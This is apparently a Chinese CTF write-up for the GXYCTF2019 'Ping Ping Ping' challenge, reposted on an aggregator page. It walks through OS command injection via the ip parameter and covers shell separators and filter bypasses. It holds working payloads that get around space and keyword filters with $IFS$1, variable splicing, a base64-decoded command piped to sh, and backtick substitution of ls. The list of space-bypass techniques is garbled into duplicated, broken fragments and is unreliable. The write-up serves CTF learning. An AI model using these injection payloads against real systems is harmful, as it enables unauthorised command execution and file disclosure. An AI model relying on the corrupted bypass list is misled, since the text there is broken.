当前位置: 首页 > news >正文

[GXYCTF2019]Ping Ping Ping 1

[GXYCTF2019]Ping Ping Ping 1

审题

  1. 由标题和内容,我们可以想到Linux的命令执行

  2. 并且由内容**/?ip=**,看出用GET注入ip变量来读取flag

    image-20240110114925168

知识点

Linux的命令执行,空格的绕过

知识点详解

在Linux中,竖线符号 “|” 和分号符号 “;” 具有不同的作用。

  1. 竖线符号 “|” (管道符号): 在Linux命令行中,竖线符号 “|” 用于将一个命令的输出作为另一个命令的输入。通过使用管道符号,可以将多个命令连接起来,实现数据流的传递和处理。

    例如:

command1 | command2

这将会将 command1 的输出作为 command2 的输入,从而实现两个命令之间的数据传递和处理。

管道符号的作用是实现命令的组合和协作,常用于对命令的输出进行过滤、排序、统计等操作。

分号符号 “;” : 在Linux命令行中,分号符号 “;” 用于分隔多个命令,使它们依次执行。

例如:

  1. command1 ; command2 ; command3
    

    这将会按照顺序执行 command1command2command3,每个命令之间使用分号进行分隔。

    分号符号的作用是允许在一行命令中连续执行多个命令,无论前一个命令是否成功执行,都会继续执行后续的命令。

需要注意的是,在使用这些符号时,应根据具体的需求和命令语法进行正确的使用,以确保命令的执行效果符合预期。

空格被过滤时

{cat,flag.txt}
cat I F S f l a g . t x t c a t {IFS}flag.txt cat IFSflag.txtcatIFS 1 f l a g . t x t c a t < f l a g . t x t c a t < > f l a g . t x t k g = 1flag.txt cat<flag.txt cat<>flag.txt kg= 1flag.txtcat<flag.txtcat<>flag.txtkg=‘\x20flag.txt’&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)

解题

  1. 先使用127.0.0.1判断回显是否正常

image-20240110171248325

  1. 使用Linux命令,查看当前目录下的所有文件

image-20240110171348672

  1. 使用cat命令抓取flag

image-20240110171536217

  1. 发现空格被过滤后,绕过空格,经过尝试使用$IFS$1绕过,但又发现flag被过滤。

image-20240110171734141

  1. 绕过flag有几种方法

一,base64绕过

cat flag.php通过base64加密后可以构造出

echo$IFS$1Y2F0IGZsYWcucGhwCg==|base64$IFS$1-d|sh

执行后查看源码得到答案。

二,shell定义变量

因为题目过滤了flag所以将ag用一个变量代替可以绕过

1;b=ag;cat$IFS$1fl$b.php

同样查看源码得到答案

三,在shell中``中的返回值会被当成命令执行

1;cat$IFS$1`ls`

所以上面的命令可以看成,cat出当前目录的所有文件。

就是,cat flag.php和index.php,得到flag。

image-20240110173140016


http://www.mrgr.cn/news/62791.html

相关文章:

  • 安全日志记录的重要性
  • 鸿蒙系统崛起:开发者如何抓住机遇与挑战
  • Element UI 表格组件复选框实现单选效果
  • 【Triton 教程】矩阵乘法
  • Java如何实现PDF转高质量图片
  • mysql导出数据
  • SQL中`ORDER BY`、`SORT BY`、`DISTRIBUTE BY`、`GROUP BY`、`CLUSTER BY`的区别详解
  • Spring JdbcTemplate详解
  • C/C++ 矩阵的QR分解
  • WPF中如何解决引入MvvmLight所导致的错误
  • MPU6050六轴传感器-角度滤波(DMP+互补滤波+卡尔曼滤波)
  • Mac上搜索文件最快最高效的方法
  • ruoyi-ui启动运行时,报错Error: error:0308010C:digital envelope routines::unsupported。
  • qt QCheckBox详解
  • qt QIcon详解
  • 206面试题(1~27)
  • 运用通义灵码有效管理遗留代码:提升代码质量与可维护性
  • 深入理解 Prometheus Metrics 存储类型及应用
  • Python 的函数嵌套调用
  • 建筑八大员标准员题库
  • YOLO V2 网络构架解析
  • 搜维尔科技:数据手套|动作捕捉|模拟仿真|VR交互解决方案
  • 继承(2)
  • ArcGIS005:ArcMap常用操作101-150例动图演示
  • HCIA(ACL)
  • 聊一聊Qt中的Slider和ProgressBar